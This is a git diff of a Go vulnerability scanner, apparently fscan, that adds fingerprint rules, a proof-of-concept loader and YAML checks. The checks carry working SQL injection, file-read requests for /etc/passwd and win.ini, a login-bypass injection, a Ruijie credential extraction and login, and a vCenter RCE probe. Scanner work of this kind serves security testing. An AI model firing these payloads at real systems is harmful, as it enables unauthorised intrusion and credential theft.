pocinfo.PocName = lib.CheckInfoPoc(infostr)
err := Execute(pocinfo)
if err != nil {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
}
}
@@ -32,15 +35,6 @@ func Execute(PocInfo common.PocInfo) error {
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
}
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
return nil
}
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}
+26 -2
View File
@@ -11,6 +11,11 @@ type Md5Data struct {
Md5Str string
}
type PocData struct {
Name string
Alias string
}
var RuleDatas = []RuleData{
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
@@ -106,7 +111,7 @@ var RuleDatas = []RuleData{
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
@@ -115,7 +120,7 @@ var RuleDatas = []RuleData{
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
@@ -128,6 +133,9 @@ var RuleDatas = []RuleData{
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
}
var Md5Datas = []Md5Data{
@@ -149,4 +157,20 @@ var Md5Datas = []Md5Data{
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
}
var PocDatas = []PocData{
{"致远OA","seeyon"},
{"泛微OA","weaver-oa"},
{"通达OA","tongda"},
{"ThinkPHP","thinkphp"},
{"Nexus","nexus"},
{"齐治堡垒机","qizhi"},
{"weaver-ebridge","weaver-ebridge"},
{"weblogic","weblogic"},
{"zabbix","zabbix"},
{"VMware vSphere","vmware"},
{"Jboss","jboss"},
}
+26 -11
View File
@@ -4,6 +4,7 @@ import (
"embed"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
@@ -30,18 +31,14 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
wg.Add(1)
for task := range tasks {
isVul, err := executePoc(task.Req, task.Poc)
if err != nil {
continue
}
isVul, _ := executePoc(task.Req, task.Poc)
if isVul {
result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name)
common.LogSuccess(result)
}
wg.Done()
}
wg.Done()
}()
}
for _, poc := range LoadMultiPoc(Pocs, pocname) {
@@ -49,10 +46,11 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string
Req: req,
Poc: poc,
}
wg.Add(1)
tasks <- task
}
close(tasks)
wg.Wait()
close(tasks)
}
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
@@ -72,7 +70,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
}
req, err := ParseRequest(oReq)
if err != nil {
//fmt.Println(err)
//fmt.Println("ParseRequest error",err)
return false, err
}
variableMap := make(map[string]interface{})
@@ -80,11 +78,17 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
keys1 := make([]string, 0)
for k := range p.Set {
keys = append(keys, k)
if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
keys = append(keys, k) //优先放入调用random系列函数的变量
} else {
keys1 = append(keys1, k)
}
}
sort.Strings(keys)
sort.Strings(keys1)
keys = append(keys, keys1...)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
@@ -94,7 +98,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
//fmt.Println(p.Name," poc_expression error",err)
variableMap[k] = expression
continue
}
@@ -114,6 +118,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
if err != nil {
//fmt.Println(p.Name," poc_payload error",err)
return false, err
}
variableMap["payload"] = fmt.Sprintf("%v", out)
@@ -685,3 +690,13 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) {
}
}
}
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Compare(poc.Name,infostr) == 0 {
return poc.Alias
}
}
return ""
}
+68
View File
@@ -0,0 +1,68 @@
package lib
import (
"crypto/tls"
"github.com/shadow1ng/fscan/common"
"log"
"net"
"net/http"
"net/url"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 0,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
+118 -3
View File
@@ -2,6 +2,7 @@ package lib
import (
"bytes"
"compress/gzip"
"crypto/md5"
"encoding/base64"
"fmt"
@@ -11,10 +12,13 @@ import (
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"
)
@@ -190,7 +194,7 @@ func NewEnvOption() CustomLib {
},
},
&functions.Overload{
Operator: "string_bmatch_bytes",
Operator: "string_bmatches_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
@@ -433,15 +437,15 @@ func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
}
}
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}
func randomUppercase(n int) string {
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}
@@ -486,3 +490,114 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
}
return string(randBytes)
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
-176
View File
@@ -1,176 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/tls"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 0,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
return nil
}
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody {
} else {
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
var oResp *http.Response
var err error
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
return nil, err
}
return resp, err
}
func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{}
nu.Scheme = u.Scheme
nu.Domain = u.Hostname()
nu.Host = u.Host
nu.Port = u.Port()
nu.Path = u.EscapedPath()
nu.Query = u.RawQuery
nu.Fragment = u.Fragment
return nu
}
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{}
req.Method = oReq.Method
req.Url = ParseUrl(oReq.URL)
header := make(map[string]string)
for k := range oReq.Header {
header[k] = oReq.Header.Get(k)
}
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type")
if oReq.Body == nil || oReq.Body == http.NoBody {
} else {
data, err := ioutil.ReadAll(oReq.Body)
if err != nil {
return nil, err
}
req.Body = data
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response
header := make(map[string]string)
resp.Status = int32(oResp.StatusCode)
resp.Url = ParseUrl(oResp.Request.URL)
for k := range oResp.Header {
header[k] = oResp.Header.Get(k)
}
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, err := getRespBody(oResp)
if err != nil {
return nil, err
}
resp.Body = body
return &resp, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
//utils.Logger.Error(err)
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
//utils.Logger.Error(err)
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
+66
View File
@@ -4,9 +4,12 @@
package lib
import (
"embed"
fmt "fmt"
proto "github.com/golang/protobuf/proto"
"gopkg.in/yaml.v3"
math "math"
"strings"
)
// Reference imports to suppress errors if they are not otherwise used.
@@ -352,3 +355,66 @@ var fileDescriptor_11b04836674e6f94 = []byte{
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
}
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Sets map[string][]string `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
-71
View File
@@ -1,71 +0,0 @@
package lib
import (
"embed"
"fmt"
"gopkg.in/yaml.v3"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Sets map[string][]string `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Detail Detail `yaml:"detail"`
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
@@ -1,15 +0,0 @@
name: poc-yaml-clusterEngine-rce-cve-2020-21224
rules:
- method: POST
path: /login
headers:
User-Agent: >-
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
body: op=login&username=;`echo 12345678987654321`&password=
follow_redirects: false
expression: |
response.status==200 && response.body.bcontains(b'12345678987654321')
detail:
author: jdr
info: CVE-2020-21224(ClusterEngineV4.0 RCE)
+2 -2
View File
@@ -3,10 +3,10 @@ set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20{{rand}}%20as%20id%20from%20HrmResourceManager
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(string(rand)))
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
detail:
author: whami-root(https://github.com/whami-root)
links:
+17
View File
@@ -0,0 +1,17 @@
name: poc-yaml-ecology-validate-sqli
set:
r1: randomInt(8000, 9999)
r2: randomInt(800, 1000)
rules:
- method: POST
path: /cpt/manage/validate.jsp?sourcestring=validateNum
body: >-
sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: fuping
links:
- https://news.ssssafe.com/archives/3325
- https://www.weaver.com.cn/cs/securityDownload.asp
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,11 @@
name: poc-yaml-finereport-v8-arbitrary-file-read
rules:
- method: GET
path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"rootManagerName") && response.body.bcontains(b"CDATA")
detail:
author: Facker007(https://github.com/Facker007)
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E5%B8%86%E8%BD%AFOA/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8%20v8.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CNVD-2018-04757.html?h=%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8
+11
View File
@@ -0,0 +1,11 @@
name: poc-yaml-flir-ax8-file-read
rules:
- method: GET
path: "/download.php?file=/etc/passwd"
follow_redirects: false
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Print1n(http://print1n.top)
links:
- https://juejin.cn/post/6961370156484263972
@@ -0,0 +1,10 @@
name: poc-yaml-h3c-secparh-any-user-login
rules:
- method: GET
path: "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"
expression: |
response.status == 200 && ("错误的id".bmatches(response.body) || "审计管理员".bmatches(response.body))
detail:
author: Print1n(https://print1n.top)
links:
- https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E
@@ -0,0 +1,11 @@
name: poc-yaml-landray-oa-custom-jsp-fileread
rules:
- method: POST
path: /sys/ui/extend/varkind/custom.jsp
body: var={"body":{"file":"file:///c://windows/win.ini"}}
expression: |
response.status == 200 && response.body.bcontains(b"for 16-bit app support")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
@@ -0,0 +1,11 @@
name: poc-yaml-landray-oa-custom-jsp-fileread
rules:
- method: POST
path: /sys/ui/extend/varkind/custom.jsp
body: var={"body":{"file":"file:///etc/passwd"}}
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
+24
View File
@@ -0,0 +1,24 @@
name: poc-yaml-ruijie-eg-info-leak
rules:
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=admin&password=admin?show+webmaster+user
expression: "true"
search: |
{"data":".*?(?P<username>\w+)\s?(?P<password>\w+)","status":1}
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username={{username}}&password={{password}}
expression: |
response.status == 200 && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
detail:
author: Search?=Null
description: "Ruijie EG网关信息泄漏"
links:
- https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ
@@ -0,0 +1,15 @@
name: poc-yaml-ruijie-nbr1300g-cli-password-leak
rules:
- method: POST
path: /WEB_VMS/LEVEL15/
follow_redirects: false
headers:
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
body: |
command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
expression: |
response.status == 200 && response.body.bcontains(bytes("webmaster level 2 username guest password guest"))
detail:
author: abbin777
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
@@ -0,0 +1,17 @@
name: poc-yaml-vmware-vcenter-cve-2021-21985-rce
rules:
- method: POST
path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData
headers:
Content-Type: application/json
body: |-
{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a
expression: |
response.status == 200 && response.body.bcontains(b"result")
detail:
vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData"
author: envone77
description: "vmware vCenter unauth RCE cve-2021-21985"
links:
- https://www.anquanke.com/post/id/243098
- https://github.com/alt3kx/CVE-2021-21985_PoC
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+5 -1
View File
@@ -5,6 +5,8 @@ import (
"flag"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
)
@@ -155,7 +157,9 @@ func CheckErr(text string, err error) {
}
func getpath() string {
filename := os.Args[0]
file, _ := exec.LookPath(os.Args[0])
path1, _ := filepath.Abs(file)
filename := filepath.Dir(path1)
var path string
if strings.Contains(filename, "/") {
tmp := strings.Split(filename, `/`)
+15 -9
View File
@@ -10,23 +10,24 @@ var Userdict = map[string][]string{
"mongodb": {"root", "admin"},
}
